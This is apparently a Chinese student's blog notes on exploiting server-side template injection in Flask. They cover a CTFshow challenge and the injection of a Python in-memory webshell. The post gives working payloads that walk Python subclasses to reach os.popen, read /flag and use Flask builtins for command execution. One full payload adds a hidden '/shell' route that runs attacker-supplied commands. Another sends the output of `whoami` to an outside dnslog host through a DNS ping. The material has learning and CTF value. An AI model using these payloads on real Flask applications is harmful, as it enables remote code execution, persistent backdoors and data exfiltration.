又是逃课的一天,(挂着网课来写博客)
内存马的概念经常被提到,HW面试,还是校招都有问到,之前接触不是很多,总结一波。
目前 SSTI 都是基于Flask环境下去复现的提到SSTI就必须了解一些魔术方法
payload
在SSTI中我们要做的就两个:
- 执行命令
- 获取文件内容
所以我们要做的实际上就是实现这两种效果
这里我写一个payload 可见只穿payload执行了whoami命令,那么我们要来分析一下这串payload为什么可以成功执行命令。
1 | ''.__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].popen("whoami").read() |
魔术方法
这些被叫做内建属性,当Python运行起来直接就可以用
__dict__
:保存类实例或对象实例的属性变量键值对字典__class__
:返回调用的参数类型__mro__
:返回一个包含对象所继承的所有类,方法在解析时按照元组的顺序解析。__bases__
:以元组的形式返回一个类所直接继承的类。根类__base__
:以字符串形式返回一个类所直接继承的类。根类__subclasses__
:返回type
对象方法__init__
:类的初始化方法 (构造方法)__globals__
:函数会以字典类型返回当前位置的全部全局变量
继承关系
Python万物皆对象,而class用户返回该对象所属的类,比如字符串的对象为字符串对象,所属的类为<class 'str'>
先使用该payload来获取某个类,这里可以获取到的是str类,实际上获取到任何类都可以,因为我们都最终目的是要获取到基类Object。
而<class 'str'>
类又属于 <class 'type'>
接下来我们可以通过bases或者mro来获取到object基类。
<class 'object'>
相当于整个树的跟
然后可以从这个根对象下去寻找其他子类
漏洞利用
接下来我们看一下 base后的子类都有什么。
1 | print(''.__class__.__base__.__subclasses__()) |
有点多我们统计一下长度
1 | ''.__class__.__base__.__subclasses__() c = |
在我的环境中子类有174个,整理格式查看下子类详情如下
1 | for i in range(174): |
遍历查找带有warning的子类
1 | for i in range(174): |
至于为什么找 warnings咱们后面说
在Python中 有了__init__
方法,在调用类的时候,会首先调用__init__
方法。
1 | ''.__class__.__base__.__subclasses__()[134].__init__.__globals__ |
加上__globals__
返回当前位置所有全局变量
1 | ''.__class__.__base__.__subclasses__()[134].__init__.__globals__ |
把全局变量粘贴到文本文档里方便查看 发现了全局变量sys
到这里我们就属于一步步找到了sys模块
sys.modules
用于返回当前已导入(加载)的所有模块名和模块对象
·sys.modules
具有字典所拥有的一切方法,可以通过这些方法了解当前的环境加载了哪些模块
程序在导入某个模块时,会首先查找sys.modules
中是否包含此模块名,包含的话python会直接到字典中查找,从而加快了程序运行的速度,若不存在则找到后将模块加载到内存`
modules['os']
将os加载到当前内存
1 | import sys |
1 | import sys |
大致利用链是这样的,但是很多时候并不固定,不一定要找warnings.catch_warnings
子类,只要子类里导入了sys os等可执行命令的模块都可以,思路都差不多
1 | ''.__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].popen("whoami").read() |
CTFshow
CTFshow上面SSTI的题目
1 | http://fe492b04-95e1-4b73-844c-9a3e627842fc.challenge.ctf.show/?name={{%27%27.__class__.__base__.__subclasses__()[1].__init__.__globals__}} |
初步看了一下没有能直接执行命令或者获取文件内容的,接下来使用__init__.__globals__
来看看有没有os module或者其他的可以读写文件的。我们抓包遍历这个1-400查找有无可进行命令执行的子类。
位置在132的子类已经导入了os模块,既然导入了os模块,我们也就可以执行命令了
查看一下子类详情
1 | name={{%27%27.__class__.__base__.__subclasses__()[132]}} |
发现它属于os模块,既然他是os模块里面的类那我们就不用那么麻烦了。
1 | ?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} |
我们本地打开os模块看一看
可见也 import 了sys模块,我们也可以用如下payload
1 | ?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['sys'].modules['os'].popen('cat /flag').read()}} |
不过显然没这个必要。
使用Flask内置函数
上题做法有很多 我们也可以利用内置函数去实现漏洞利用
- url_for
- get_flashed_messages
- g
- request
- namespace
- lipsum
- range
- session
- get_flashed_messages
- cycler
- config
比如
1 | {{lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()}} |
内存马
Python 内存马
利用Flask
框架中SSTI
注入来实现, Flask
框架中在web
应用模板渲染的过程中用到render_template_string
进行渲染, 但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现Python
内存马的注入.
原payload
1 | url_for.__globals__['__builtins__']['eval']( |
还是利用上面的ctfshow环境
1 | ?name={{url_for.__globals__[%27__builtins__%27][%27eval%27](%20"app.add_url_rule(%20%27/shell%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27shell%27)).read()%20)",%20{%20%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%20%27app%27:url_for.__globals__[%27current_app%27]%20}%20)}} |
接下来我们拆开分析一下内存马的构成
url_for.__globals__['__builtins__']['eval']
这一截Payload
, url_for
是Flask
的一个内置函数, 通过Flask
内置函数可以调用其__globals__
属性, 该特殊属性能够返回函数所在模块命名空间的所有变量, 其中包含了很多已经引入的modules
, 可以看到这里是支持__builtins__
的.
url_for
不是必须的,可以替换为很多flask的内置函数。
Python中为什么我们直接可以使用一些内置函数如:str() int() dir() eval() exec()
因为Python解释器第一次启动的时候
__builtins__
就已经在命名空间了而所有内置功能都在
__builtins__
模块中,所以我们不用import的情况下也可以直接使用一些函数。
__builtins__
模块的内建函数中是存在eval
、exec
等命令执行函数的。
因为存在命令执行函数,我们直接调用看一下
1 | ?name{{url_for.__globals__[%27__builtins__%27][%27eval%27]("__import__(%27os%27).system(%27ping%20`whoami`.anvusi.dnslog.cn%27)")}} |
接着再来看看app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())
这一截Payload
. 这部分是动态添加了一条路由, 而处理该路由的函数是个由lambda
关键字定义的匿名函数.
再来看看
1 | _request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']} |
这一截Payload
. _request_ctx_stack
是Flask
的一个全局变量, 是一个LocalStack
实例, 这里的_request_ctx_stack
即上文中提到的Flask 请求上下文管理机制
中的_request_ctx_stack
. app
也是Flask
的一个全局变量, 这里即获取当前的app
.
到此, 大致逻辑基本就梳理清晰了, eval
函数的功能即动态创建一条路由, 并在后面指明了所需变量的全局命名空间, 保证app
和_request_ctx_stack
都可以被找到.